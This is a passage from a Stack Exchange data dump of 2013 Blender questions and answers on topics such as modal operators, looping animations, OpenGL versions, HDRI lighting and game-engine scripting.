LastEditDate="2013-06-01T07:30:10.477" LastActivityDate="2013-07-01T16:46:58.753" Title="Run additional code after user has executed and finished an operator" Tags="&lt;scripting&gt;&lt;python&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="432" PostTypeId="2" ParentId="431" CreationDate="2013-05-29T19:31:00.847" Score="6" Body="&lt;p&gt;No, at least operators don't have the notion of a &lt;em&gt;final&lt;/em&gt; state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in some cases you may want to setup a tools options, then perform some action once the options are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a pop-up dialog &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.Operator.html#dialog-box&quot; rel=&quot;noreferrer&quot;&gt;1&lt;/a&gt; (as image-new does), but then you dont get feedback when changing values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some script writers add toggles to their operators that perform some extra calculation, so the user can choose to quickly setup options then press this last, while this isn't in keeping with our intended workflow, it makes some sense if the operator can't give interactive feedback because they're so slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one way you &lt;em&gt;might&lt;/em&gt; be able to do what you want, and that is to create a &lt;em&gt;Modal Operator&lt;/em&gt;, see the example in the text editor templates.&#xA;This way you start a tool which has its own mode (like grab or rotate), you can choose to handle events to adjust the settings, then a key such as &lt;code&gt;Enter&lt;/code&gt; can &lt;em&gt;finalize&lt;/em&gt; the operation.&#xA;So this may work in some cases - but modal operators assume a fairly different workflow so it depends a lot on what you do.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-05-29T19:36:48.093" LastActivityDate="2013-05-29T19:36:48.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="433" PostTypeId="1" AcceptedAnswerId="436" CreationDate="2013-05-29T19:37:43.650" Score="13" ViewCount="7837" Body="&lt;p&gt;Is it possible to apply a bezier curve, along the surface of a mesh?&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="599" LastEditDate="2013-09-13T02:36:06.943" LastActivityDate="2013-09-13T23:55:28.040" Title="Is it possible to apply a bezier curve along a mesh?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="435" PostTypeId="1" AcceptedAnswerId="437" CreationDate="2013-05-29T19:51:17.157" Score="13" ViewCount="2617" Body="&lt;p&gt;I'm editing a video made with several movie strips. I've changed the properties of one of the strips, like the blend mode, the opacity, the saturation, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to copy those properties to the rest of the movie strips, is it possible? Or do I have to modify every strip manually?&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="228" LastEditDate="2013-06-19T12:52:18.023" LastActivityDate="2013-06-19T12:52:18.023" Title="How do I copy video strip properties?" Tags="&lt;workflow&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="436" PostTypeId="2" ParentId="433" CreationDate="2013-05-29T19:51:18.073" Score="14" Body="&lt;p&gt;Yes, you can use the &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier. Select the curve and add the modifier to it, then as its &lt;em&gt;target&lt;/em&gt;, select the mesh. It will snap the curve to the surface. The settings are pretty intuitive so to get a nice result you can just tweak the settings. Try changing the &lt;em&gt;Mode&lt;/em&gt; to get a bit more control over how the curve is projected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tslwd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-29T20:16:26.213" LastActivityDate="2013-05-29T20:16:26.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="437" PostTypeId="2" ParentId="435" CreationDate="2013-05-29T20:00:16.643" Score="15" Body="&lt;p&gt;You can just do it by&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Selecting all strips.&lt;/li&gt;&#xA;&lt;li&gt;Changing value in the active one.&lt;/li&gt;&#xA;&lt;li&gt;Do a right click with mouse cursor over changed value.&lt;/li&gt;&#xA;&lt;li&gt;Choose Copy to Selected item in Pop up menu.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastEditorUserId="12" LastEditDate="2013-05-29T20:09:38.137" LastActivityDate="2013-05-29T20:09:38.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="438" PostTypeId="2" ParentId="435" CreationDate="2013-05-29T20:01:03.560" Score="8" Body="&lt;p&gt;There is an addon called 'Property Chart', you can display a listing of all selected objects properties as well as copy the first property to all others.&#xA;This isn't ideal but it at least saves doing it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@user188's answer is better but keeping mine since its still useful at times since you can see all properties at once.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="72" LastEditDate="2013-05-29T21:04:10.387" LastActivityDate="2013-05-29T21:04:10.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="440" PostTypeId="1" AcceptedAnswerId="441" CreationDate="2013-05-29T21:03:37.293" Score="44" ViewCount="104879" Body="&lt;p&gt;I would like to create a continuously looping animation that repeats itself constantly and without my help (I do not want to create one animation and then copy and paste it over and over again).  A good example would be the rotational movement of a helicopter's blades.  I am not repulsed by a scripting solution, and would indeed welcome it.  How may I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2016-06-24T06:46:40.967" Title="How may I create a continuously looping animation?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="24" ContentLicense="CC BY-SA 3.0" />
  <row Id="441" PostTypeId="2" ParentId="440" CreationDate="2013-05-29T21:09:09.733" Score="49" Body="&lt;p&gt;To do this, you'll want to add a &lt;em&gt;Cyclic F-modifier&lt;/em&gt;. Go into the Graph Editor and select the keyframes that you wish to loop over (over their respective time period), press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;, and select &quot;Make Cyclic (F-modifier)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IxFx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-29T23:12:16.120" LastActivityDate="2013-05-29T23:12:16.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="442" PostTypeId="1" AcceptedAnswerId="445" CreationDate="2013-05-29T21:09:29.733" Score="13" ViewCount="7281" Body="&lt;p&gt;I would like to create a script that runs constantly throughout the life of a Blender session.  The problem is that Blender's interface &quot;blocks&quot; while the script is running.  As a trivial example, if I run the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while True:&#xA;    continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then Blender freezes up, and I have to use &lt;code&gt;xkill&lt;/code&gt; to stop it.  How may I create a script that may be running constantly but does not stop Blender from functioning normally?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="228" LastEditDate="2013-06-19T17:28:32.943" LastActivityDate="2013-06-19T17:28:32.943" Title="How can I create a script that runs continuously but does not block the interface?" Tags="&lt;scripting&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="443" PostTypeId="2" ParentId="440" CreationDate="2013-05-29T21:15:30.613" Score="23" Body="&lt;p&gt;You can do this by adding a &lt;em&gt;Cycle F-modifier&lt;/em&gt; to the desired &lt;strong&gt;F-Curve&lt;/strong&gt;. After adding the modifier, if you want it to have continuous motion, and not simply start over each time, you'll need to set &lt;strong&gt;Repeat with offset&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ryVF.png&quot; alt=&quot;F-Curve modifier&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WMMlW.png&quot; alt=&quot;Repeat with offset&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-29T21:15:30.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="444" PostTypeId="2" ParentId="442" CreationDate="2013-05-29T21:26:52.263" Score="1" Body="&lt;p&gt;Instead of running your code continuously all of the time, consider either running it periodically (every x seconds, etc), or only calling it when a specific event comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard technique to use to get your code snippet to run periodically is to use the &lt;em&gt;threading&lt;/em&gt; module. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import threading&#xA;&#xA;def my_func():&#xA;    threading.Timer(number_of_seconds, my_func).start()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will repeat the my_func function in intervals every number_of_seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to instead link your code snippet to a specific action in Blender, by simply putting the call for your function in a well-selected location. I personally recommend this option, if it works in your particular case, since it certainly a more efficient way of handling code.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-29T21:26:52.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="445" PostTypeId="2" ParentId="442" CreationDate="2013-05-29T21:27:23.513" Score="8" Body="&lt;p&gt;What you are looking for is to create a &lt;code&gt;modal operator&lt;/code&gt;. From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A modal operator defines a Operator.modal function which running,&#xA;  handling events until it returns {'FINISHED'} or {'CANCELLED'}. Grab,&#xA;  Rotate, Scale and Fly-Mode are examples of modal operators. They are&#xA;  especially useful for interactive tools, your operator can have its&#xA;  own state where keys toggle options as the operator runs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is a template for the Modal Operator accessible from the Blender Text Editor.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kzGiH.png&quot; alt=&quot;Modal Operator&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-05-29T21:27:23.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="446" PostTypeId="1" AcceptedAnswerId="447" CreationDate="2013-05-29T21:33:02.003" Score="7" ViewCount="249" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/development/release-logs/blender-267/&quot;&gt;release logs&lt;/a&gt; document the new features after a version has been released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a page which lists what of the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aDoc/Projects&quot;&gt;announced features&lt;/a&gt; is already included in the &lt;a href=&quot;http://builder.blender.org/download/&quot;&gt;latest build&lt;/a&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't wait to test Multi-view (stereoscopic) render and display support.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-05-29T21:49:35.567" LastActivityDate="2017-07-05T13:45:41.153" Title="Is there a way to find out what is in the latest build?" Tags="&lt;versions&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="447" PostTypeId="2" ParentId="446" CreationDate="2013-05-29T21:40:58.720" Score="7" Body="&lt;p&gt;Update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bleeding edge changes and latest bug reports, even typo fixes you can access these feeds as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/BlenderLogs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://twitter.com/BlenderLogs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/BlenderBugs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://twitter.com/BlenderBugs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There isn't a pretty or detailed view like the release logs for the latest builds, one way you can keep up to date with commits is to go to &lt;strike&gt;&lt;a href=&quot;http://projects.blender.org/scm/viewvc.php?root=bf-blender&amp;amp;sortby=log&amp;amp;view=rev&quot; rel=&quot;nofollow noreferrer&quot;&gt;projects.blender.org&lt;/a&gt;&lt;/strike&gt; &lt;a href=&quot;http://developer.blender.org/diffusion/B/&quot; rel=&quot;nofollow noreferrer&quot;&gt;developer.blender.org&lt;/a&gt;. As a new commit is made, it is updated there along with the revision number, files changed and or features added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you are on &lt;a href=&quot;https://twitter.com/aiblender&quot; rel=&quot;nofollow noreferrer&quot;&gt;twitter&lt;/a&gt; or &lt;a href=&quot;https://plus.google.com/u/0/114446066195540713841&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google+&lt;/a&gt;, Adventures in Blender posts about the latest additions or changes in detail with additional links at times. &lt;a href=&quot;https://twitter.com/AIBlender/status/339804984092794880&quot; rel=&quot;nofollow noreferrer&quot;&gt;For&lt;/a&gt; &lt;a href=&quot;https://plus.google.com/u/0/+AdventuresInBlender/posts/HQptBcA3GQ4&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also now view the shortlog on &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/shortlog&quot; rel=&quot;nofollow noreferrer&quot;&gt;git.blender.org&lt;/a&gt; for a quick summary of commits/fixes.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2017-07-05T13:45:41.153" LastActivityDate="2017-07-05T13:45:41.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="448" PostTypeId="2" ParentId="446" CreationDate="2013-05-29T21:47:12.637" Score="5" Body="&lt;p&gt;There is no such page (yet). Eventually a release log will be created in the blender wiki, but it will usually take some time before such an effort is started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to find out what is going on in the Blender code repository is to follow the commit messages in the commit list: &lt;a href=&quot;http://lists.blender.org/pipermail/bf-blender-cvs/&quot; rel=&quot;noreferrer&quot;&gt;http://lists.blender.org/pipermail/bf-blender-cvs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a quite high-volume list, since a lot is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Blender code repository is scheduled to move to Git in the near future (but after Google Summer of Code 2013), after which you probably will find even more commits to browse through.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-29T21:47:12.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="449" PostTypeId="1" CreationDate="2013-05-29T22:05:39.357" Score="10" ViewCount="2331" Body="&lt;p&gt;I know (at least I believe this to be true) that using cycles motion blur wont work with fluid simulations when rendering, however, I know that vector blurs can be used in place of motion blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, however, I seem to be unable to get the vector blur to work in a cycles render of fluid. I have generate vectors enabled as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't seem to make sense to me, since vector blurs are applied after the render in compositing and therefore, in my opinion, shouldn't be affected by the rendering engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Help?&lt;/p&gt;&#xA;" OwnerUserId="212" LastEditorUserId="2217" LastEditDate="2014-08-05T18:16:18.773" LastActivityDate="2016-12-19T18:47:24.230" Title="How can you use vector blur in Cycles with fluids?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;fluid-simulation&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="450" PostTypeId="2" ParentId="449" CreationDate="2013-05-29T22:11:01.057" Score="12" Body="&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt;&#xA;Cycles (as of Blender 2.67) does not support fluids blur yet.&#xA;A &lt;a href=&quot;http://wiki.blender.org/index.php/User:Gdh&quot; rel=&quot;nofollow noreferrer&quot;&gt;GSOC 2013&lt;/a&gt; project might bring that feature soon. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For now, as a work around, you can try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Render your primary pass in cycles. Save to EXR.&lt;/li&gt;&#xA;&lt;li&gt;Render the same scene in Blender Internal, save the Z and Vector pass to another EXR. &lt;/li&gt;&#xA;&lt;li&gt;Combine the two set of EXRs with Nodes with a vector blur node. Using the Color input from the Cycles EXR, and use the Z and Vector input from the BI EXR.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="41" LastEditorUserId="6204" LastEditDate="2016-12-19T18:47:24.230" LastActivityDate="2016-12-19T18:47:24.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="451" PostTypeId="1" AcceptedAnswerId="457" CreationDate="2013-05-29T22:16:13.123" Score="14" ViewCount="8637" Body="&lt;p&gt;I know that Blender makes extremely heavy use of OpenGL.  What version of OpenGL does Blender use, and how difficult would it be to port it over to OpenGL ES?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="204" LastEditDate="2013-05-30T17:18:23.003" LastActivityDate="2019-09-17T02:58:34.960" Title="What version of OpenGL does Blender use?" Tags="&lt;opengl&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="452" PostTypeId="1" AcceptedAnswerId="490" CreationDate="2013-05-29T22:22:18.720" Score="21" ViewCount="9197" Body="&lt;p&gt;I have an AMD graphics card, and I want to accelerate Blender using OpenCL.  However, Blender does not support the use of OpenCL acceleration with AMD cards.  What is the technical explanation for this, and will there be a fix?&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2013-06-04T19:42:21.073" Title="What is the technical reason that Blender cannot use OpenCL on AMD graphics cards?" Tags="&lt;rendering&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="453" PostTypeId="2" ParentId="412" CreationDate="2013-05-29T22:35:01.990" Score="15" Body="&lt;p&gt;While there are many subtleties and nuances to your question, the following should deliver reasonable results with equipment you may very well have around you or possibly borrow.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a DSLR and use your widest lens. The Sigma 8mm fisheye and a full 35mm sensor allows one to capture edge to edge sphere shots, for example.&lt;/li&gt;&#xA;&lt;li&gt;Do a bracketed exposure series of your set in enough directions to cover the scene. For example, with the 8mm above, it is three directions. If you require four photos to deliver your 360 degree view, you would require a set for each exposure. Depending on your scene's dynamic range, pan to your first position and take photos at exposure, several stops down, and several stops up. -3, -1.5, 0, +1.5, +3 stops might be required, or fewer. Shoot raw to preserve as great a range as possible for each image.&lt;/li&gt;&#xA;&lt;li&gt;Merge each bracketed exposure set together into a spherical merged image. An example might be Hugin or other such tool.&lt;/li&gt;&#xA;&lt;li&gt;Merge the stacks of exposures into a single HDR scene referred EXR image from the layers of stitches. An example might be Luminance HDR or other such tool.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A single exposure will fail to deliver upon the &amp;quot;correctly lit&amp;quot; aspect of your question.&lt;/p&gt;&#xA;&lt;p&gt;It is important to understand the difference between a scene referred and a display referred image here. Where a typical JPEG or such image is a low dynamic range and being bent to fit the 0..1 range, a scene referred image attempts to maintain the original scene's ratios of light levels being cast from objects. This is stored in a linear fashion and the values can range from zero to a theoretical infinity.&lt;/p&gt;&#xA;&lt;p&gt;When a series of bracketed photos are merged into a scene referred file format such as EXR, the original values of the scene are reconstructed. These values will much wider apart than the 2.5 stops of light a typical JPG or PNG can represent&lt;sup&gt;1&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Granted that the above will only deliver an accurate estimation of the lighting at the given point you photographed your HDRI images. If you seek more accuracy such as a CG element nears a wall or other object, you would need to attempt to project the light values upon a placebo object to correctly estimate the inverse square law of energy (1/d^2). Project from view with some tracking might be useful here.&lt;/p&gt;&#xA;&lt;p&gt;For further reading:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://www.cinematiccolor.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VES technology white paper&lt;/a&gt; discussing the differences between scene referred and display referred data.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;http://www.anyhere.com/gward/hdrenc/hdr_encodings.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;solid description&lt;/a&gt; of the differences of file formats and their ability to represent HDR data.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hugin.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hugin&lt;/a&gt; panoramic and spherical stitching application.&lt;/li&gt;&#xA;&lt;li&gt;Luminance HDR: &lt;a href=&quot;http://qtpfsgui.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://qtpfsgui.sourceforge.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;sup&gt;&lt;strong&gt;1&lt;/strong&gt;: A middle grey card photographed and converted to a JPEG will land at approximately 48.45% value in sRGB. This translates to a value of 0.2 when linearized to display linear. If we double this, we arrive at 0.4 for one stop. Doubled again to 0.8 for two stops. 1.0 therefore can't express any greater dynamic range than a little over two and a tenth stops of light. Further complicating this is the fact that a standard camera will hold a wider dynamic range and curve this into the resulting JPEG or display referred format. This ends up baking both the sRGB curve &lt;em&gt;and&lt;/em&gt; the camera curve into the resulting image, and it cannot be reasonably undone from these formats.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-29T21:00:39.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="454" PostTypeId="2" ParentId="451" CreationDate="2013-05-29T22:58:31.083" Score="3" Body="&lt;p&gt;For GSoC 2012 there was a project to port part of Blender to Android and thus to OpenGL ES. See &lt;a href=&quot;http://wiki.blender.org/index.php/User:AlexK/Gsoc2012&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:AlexK/Gsoc2012&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-29T22:58:31.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="455" PostTypeId="2" ParentId="451" CreationDate="2013-05-29T23:01:37.877" Score="6" Body="&lt;p&gt;Blender has &lt;em&gt;no&lt;/em&gt; ties to a specific version of OpenGL. For the entire GUI it even still sticks to the &lt;strong&gt;OpenGL 1.4&lt;/strong&gt; standard, which is now over 12 years old and can be expected to run fine on all modern 3d hardware.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-01-12T04:56:21.967" LastActivityDate="2015-01-12T04:56:21.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="456" PostTypeId="2" ParentId="452" CreationDate="2013-05-29T23:04:53.377" Score="10" Body="&lt;p&gt;Compiling of the kernels fails due to extreme memory requirements. The Cycles kernels are rather big, and the AMD compilers are unable to cope with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two places where changes can be done: the compiler could be improved or cycles code could be reorganised. Both are huge projects and not very likely to happen. So unfortunately and sadly we'll have to suffer vendor-lock for Cycles for the time being.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always look into GPU accelerated renderers that don't suffer this, like Luxrender.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-29T23:04:53.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="457" PostTypeId="2" ParentId="451" CreationDate="2013-05-29T23:08:12.327" Score="14" Body="&lt;p&gt;Blender requires OpenGL 3.3, however we may take advantage of newer OpenGL versions too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while Blender depends on 3.3, it may use newer features when available and fail gracefully if they are not (as opposed to crashing or not starting at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that some features are user preferences too since we can't always rely on asking the driver if a certain feature works well or not (drivers don't always give us reliable information).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://www.blender.org/download/requirements/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/download/requirements/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2019-09-17T02:58:34.960" LastActivityDate="2019-09-17T02:58:34.960" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="458" PostTypeId="2" ParentId="428" CreationDate="2013-05-30T00:01:54.613" Score="9" Body="&lt;p&gt;It is likely wiser to adopt an image based pipeline and assert that all of your color transforms and bit fidelity remain intact.&lt;/p&gt;&#xA;&lt;p&gt;Using an image as an intermediate will be vastly more effective. The granularity required to handle the color primaries, bit depth, and transfer curve out of a codec correctly is not currently possible within Blender nor many other mainstream applications, and will often result in incorrect output. Well documented issues such as Quicktime's perceptual noise addition, incorrect transfer curve / gamma, inconsistent vendor flag reading, etc. all make for the stuff of nightmare when dealing with codecs.&lt;/p&gt;&#xA;&lt;p&gt;If you are careful, you can easily step to an intermediate image format and use the Baptiste Coudurier FFMBC project to encode and decode ProRes with much more control, quality, and accuracy.&lt;/p&gt;&#xA;&lt;p&gt;While it is a fork of FFMPEG, FFMBC extends the needs of the encoding and decoding of ProRes and DNxHD to meet media broadcast needs.&lt;/p&gt;&#xA;&lt;p&gt;Further links:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/ffmbc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://code.google.com/p/ffmbc/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2020-12-17T03:56:34.533" LastActivityDate="2020-12-17T03:56:34.533" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="459" PostTypeId="1" AcceptedAnswerId="462" CreationDate="2013-05-30T00:09:03.520" Score="8" ViewCount="7716" Body="&lt;p&gt;How would I get an object's rotation and set that as another's velocity? Like if I had Object &lt;code&gt;A&lt;/code&gt;, that has the rotation data, and Object &lt;code&gt;B&lt;/code&gt;, the object to be moved. How would I get that working in python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of some confusion, here's some of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Gun = bpy.data.objects[&quot;Gun&quot;]&#xA;rotationOfGun = Gun.globalOrientation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="217" LastEditorUserId="12" LastEditDate="2013-05-30T22:24:59.087" LastActivityDate="2013-05-30T22:59:48.020" Title="Get the rotation of an object in the game engine" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="460" PostTypeId="2" ParentId="17" CreationDate="2013-05-30T00:10:56.180" Score="5" Body="&lt;p&gt;As Cycles is a RGB-based raytracer, not a spectral raytracer, it's based on single paths for all colors(with the colors changing at every bounce/transmit). Therefore, dispersion cannot be simulated directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fake it, though, by separating shaders by color and mixing them, though this would often require changes to the entire scene. It can be done, though, by mixing a red refraction/glass, a blue refraction/glass, and a white refraction/glass at the necessary IORs.  One can also do a small amount of reflection for the coating seen on some glasses or lenses.&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-05-30T00:10:56.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="461" PostTypeId="1" AcceptedAnswerId="501" CreationDate="2013-05-30T00:27:12.040" Score="7" ViewCount="12745" Body="&lt;p&gt;How would I set a property value with python in the Blender game engine?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="228" LastEditDate="2013-06-19T18:49:06.660" LastActivityDate="2013-12-17T17:11:14.273" Title="How to Set a Property Value in Blender Game Engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;properties&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
